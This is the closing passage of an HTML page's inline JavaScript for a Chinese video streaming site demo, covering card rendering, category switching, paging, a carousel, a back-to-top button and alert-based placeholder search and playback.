                    const ratingStr = c.rating.toFixed(1);
                    const hotBadge = c.hot ? '<span class="badge-top">热播</span>' : '';
                    const hdBadge = c.hd ? '<span class="badge-hd">4K</span>' : '';
                    const catLabel = c.cat === 'movie' ? '电影' :
                        c.cat === 'tv' ? '电视剧' :
                        c.cat === 'variety' ? '综艺' :
                        c.cat === 'anime' ? '动漫' : '短剧';
                    return `<article class="card-item" data-cat="${c.cat}" title="${c.title} - ${catLabel}">
                                <div class="card-poster">
                                    <img src="${c.img}" alt="${c.title} 海报" loading="lazy">
                                    ${hotBadge}
                                    ${hdBadge}
                                    <div class="overlay-btn"><span>▶ 立即观看</span></div>
                                </div>
                                <div class="card-info">
                                    <div class="card-title">${c.title}</div>
                                    <div class="card-meta">
                                        <span class="ep-status">${c.ep}</span>
                                        <span class="rating"><span class="star">${starFull}</span> ${ratingStr}</span>
                                    </div>
                                </div>
                            </article>`;
                }).join('');
                grid.innerHTML = html;

                // 更新标题
                const catNameMap = { all: '全部', movie: '电影', tv: '电视剧', variety: '综艺', anime: '动漫', manga: '短剧' };
                sectionTitle.textContent = `🔥 最新热播 · ${catNameMap[cat] || '全部'}`;

                // 控制加载更多按钮
                if (show.length >= total) {
                    loadMoreBtn.style.display = 'none';
                } else {
                    loadMoreBtn.style.display = 'inline-block';
                    loadMoreBtn.textContent = `加载更多剧集 ↓ (${show.length}/${total})`;
                }
            }

            // -------- 分类切换 ----------
            function switchCategory(cat) {
                if (cat === currentCat) return;
                currentCat = cat;
                displayCount = 12;

                catItems.forEach(el => {
                    el.classList.toggle('active', el.dataset.cat === cat);
                });

                grid.classList.add('fade');
                setTimeout(() => {
                    renderCards(currentCat, displayCount);
                    grid.classList.remove('fade');
                }, 150);
            }

            catItems.forEach(el => {
                el.addEventListener('click', function() {
                    const cat = this.dataset.cat;
                    switchCategory(cat);
                });
            });

            // -------- 加载更多 ----------
            loadMoreBtn.addEventListener('click', function() {
                displayCount += step;
                renderCards(currentCat, displayCount);
            });

            // -------- 初始化 ----------
            renderCards('all', displayCount);

            // -------- 轮播 ----------
            const slides = document.querySelectorAll('.hero-slide');
            const dots = document.querySelectorAll('.dot');
            const prevBtn = document.getElementById('carouselPrev');
            const nextBtn = document.getElementById('carouselNext');
            let currentSlide = 0;
            const totalSlides = slides.length;
            let autoTimer = null;
            const AUTO_INTERVAL = 4200;

            function goToSlide(index) {
                slides.forEach((s, i) => {
                    s.classList.toggle('active', i === index);
                });
                dots.forEach((d, i) => {
                    d.classList.toggle('active', i === index);
                });
                currentSlide = index;
            }

            function nextSlide() {
                const next = (currentSlide + 1) % totalSlides;
                goToSlide(next);
            }

            function prevSlide() {
                const prev = (currentSlide - 1 + totalSlides) % totalSlides;
                goToSlide(prev);
            }

            function startAutoSlide() {
                stopAutoSlide();
                autoTimer = setInterval(nextSlide, AUTO_INTERVAL);
            }

            function stopAutoSlide() {
                if (autoTimer) {
                    clearInterval(autoTimer);
                    autoTimer = null;
                }
            }

            nextBtn.addEventListener('click', function() {
                stopAutoSlide();
                nextSlide();
                startAutoSlide();
            });

            prevBtn.addEventListener('click', function() {
                stopAutoSlide();
                prevSlide();
                startAutoSlide();
            });

            dots.forEach(dot => {
                dot.addEventListener('click', function() {
                    const idx = parseInt(this.dataset.index);
                    if (idx !== currentSlide) {
                        stopAutoSlide();
                        goToSlide(idx);
                        startAutoSlide();
                    }
                });
            });

            // 触摸/滑动支持
            let touchStartX = 0;
            let touchEndX = 0;
            const carousel = document.getElementById('heroCarousel');
            carousel.addEventListener('touchstart', function(e) {
                touchStartX = e.changedTouches[0].screenX;
            }, { passive: true });
            carousel.addEventListener('touchend', function(e) {
                touchEndX = e.changedTouches[0].screenX;
                const diff = touchStartX - touchEndX;
                if (Math.abs(diff) > 50) {
                    stopAutoSlide();
                    if (diff > 0) nextSlide();
                    else prevSlide();
                    startAutoSlide();
                }
            }, { passive: true });

            // 鼠标悬停暂停自动播放
            carousel.addEventListener('mouseenter', stopAutoSlide, { passive: true });
            carousel.addEventListener('mouseleave', startAutoSlide, { passive: true });

            // 启动
            startAutoSlide();

            // -------- 回到顶部 ----------
            const backTop = document.getElementById('backTop');
            const header = document.getElementById('siteHeader');

            window.addEventListener('scroll', function() {
                const scrollY = window.pageYOffset || document.documentElement.scrollTop;
                if (scrollY > 500) {
                    backTop.classList.add('show');
                } else {
                    backTop.classList.remove('show');
                }
                // 导航阴影
                if (scrollY > 20) {
                    header.classList.add('scrolled');
                } else {
                    header.classList.remove('scrolled');
                }
            }, { passive: true });

            backTop.addEventListener('click', function() {
                window.scrollTo({ top: 0, behavior: 'smooth' });
            });

            // -------- 搜索提示 ----------
            const searchBtn = document.querySelector('.search-btn');
            const searchInput = document.querySelector('.search-wrap input');
            searchBtn.addEventListener('click', function() {
                const val = searchInput.value.trim();
                if (val) {
                    alert(`正在搜索：“${val}”\n（演示功能，实际站点将跳转结果页）`);
                } else {
                    alert('请输入搜索关键词');
                    searchInput.focus();
                }
            });
            searchInput.addEventListener('keydown', function(e) {
                if (e.key === 'Enter') {
                    e.preventDefault();
                    searchBtn.click();
                }
            });

            // -------- 卡片点击 ----------
            grid.addEventListener('click', function(e) {
                const card = e.target.closest('.card-item');
                if (card) {
                    const title = card.querySelector('.card-title')?.textContent || '影视';
                    alert(`即将播放：“${title}”\n（演示交互，实际站点将进入播放页）`);
                }
            });

            // -------- 响应式网格调整 (窗口变化保持) ----------
            // 无额外操作，CSS已处理

            console.log('✅ 电影日本妈妈 · 爽看影视 已加载');
        })();
    </script>
</body>
</html>